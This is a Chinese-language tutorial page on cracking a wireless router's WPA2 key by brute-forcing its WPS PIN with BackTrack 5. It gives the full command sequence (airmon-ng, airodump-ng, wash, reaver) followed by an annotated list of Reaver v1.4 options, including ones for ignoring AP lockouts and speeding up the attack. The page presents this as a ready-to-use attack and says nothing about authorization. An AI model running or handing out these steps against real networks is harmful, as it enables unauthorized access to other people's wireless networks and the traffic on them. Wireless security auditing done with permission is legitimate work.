歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux基礎 >> Linux教程

BackTrack5利用路由PIN碼破解無線路由WPA2密鑰

BackTrack5利用路由PIN碼破解無線路由WPA2密鑰

airmon-ng start wlan0 //將無線網卡設置為監控模式
airodump-ng -i mon0  //獲得周圍無線路由信息
wash -i mon0 -C      //查看支持PIN碼破解的無線路由
reaver -i mon0 -b 路由MAC地址 -S -a -p 路由PIN碼 -vv //開始PIN破解

Reaver v1.4的參數說明
 
  -i, --interface=<wlan>  Name of the monitor-mode interface to use
 
                          網卡的監視接口,通常是mon0
 
  -b, --bssid=<mac>      BSSID of the target AP
 
                          AP的MAC地址
 
Optional Arguments:
 
  -m, --mac=<mac>        MAC of the host system
 
                          指定本機MAC地址,在AP有MAC過濾的時候需要使用
 
  -e, --essid=<ssid>      ESSID of the target AP
 
                          路由器的ESSID,一般不用指定
 
  -c, --channel=<channel> Set the 802.11 channel for the interface (implies -f)
 
                          信號的頻道,如果不指定會自動掃描
 
  -o, --out-file=<file>  Send output to a log file [stdout]
 
                          標准輸出到文件
 
  -s, --session=<file>    Restore a previous session file
 
                          恢復進程文件
 
  -C, --exec=<command>    Execute the supplied command upon successful pin recovery
 
                          pin成功後執行命令
 
  -D, --daemonize        Daemonize reaver
 
                          設置reaver成Daemon
 
  -a, --auto              Auto detect the best advanced options for the target AP
 
                          對目標AP自動檢測高級參數
 
  -f, --fixed            Disable channel hopping
 
                          禁止頻道跳轉
 
  -5, --5ghz              Use 5GHz 802.11 channels
 
                          使用5G頻道
 
  -v, --verbose          Display non-critical warnings (-vv for more)
 
                          顯示不重要警告信息 -vv 可以顯示更多
 
  -q, --quiet            Only display critical messages
 
                          只顯示關鍵信息
 
  -h, --help              Show help
 
                          顯示幫助
 

Advanced Options:
 
  -p, --pin=<wps pin>          Use the specified 4 or 8 digit WPS pin
 
                              直接讀取psk
 
  -d, --delay=<seconds>        Set the delay between pin attempts [1]
 
                              pin間延時,默認1秒,推薦設0
 
  -l, --lock-delay=<seconds>  Set the time to wait if the AP locks WPS pin attempts [60]
 
                              AP鎖定WPS後等待時間
 
  -g, --max-attempts=<num>    Quit after num pin attempts
 
                              最大pin次數
 
  -x, --fail-wait=<seconds>    Set the time to sleep after 10 unexpected failures [0]
 
                              10次意外失敗後等待時間,默認0秒
 
  -r, --recurring-delay=<x:y>  Sleep for y seconds every x pin attempts
 
                              每x次pin後等待y秒
 
  -t, --timeout=<seconds>      Set the receive timeout period [5]
 
                              收包超時,默認5秒
 
  -T, --m57-timeout=<seconds>  Set the M5/M7 timeout period [0.20]
 
                              M5/M7超時,默認0.2秒
 
  -A, --no-associate          Do not associate with the AP (association must be done by another application)
 
                              不連入AP(連入過程必須有其他程序完成)
 
  -N, --no-nacks              Do not send NACK messages when out of order packets are received
 
                              不發送NACK信息(如果一直pin不動,可以嘗試這個參數)
 
  -S, --dh-small              Use small DH keys to improve crack speed
 
                              使用小DH關鍵值提高速度(推薦使用)
 
  -L, --ignore-locks          Ignore locked state reported by the target AP
 
                              忽略目標AP報告的鎖定狀態
 
  -E, --eap-terminate          Terminate each WPS session with an EAP FAIL packet
 
                              每當收到EAP失敗包就終止WPS進程

  -n, --nack                  Target AP always sends a NACK [Auto]
 
                              對目標AP總是發送NACK,默認自動
 
  -w, --win7                  Mimic a Windows 7 registrar [False]
 
                              模擬win7注冊,默認關閉

Copyright © Linux教程網 All Rights Reserved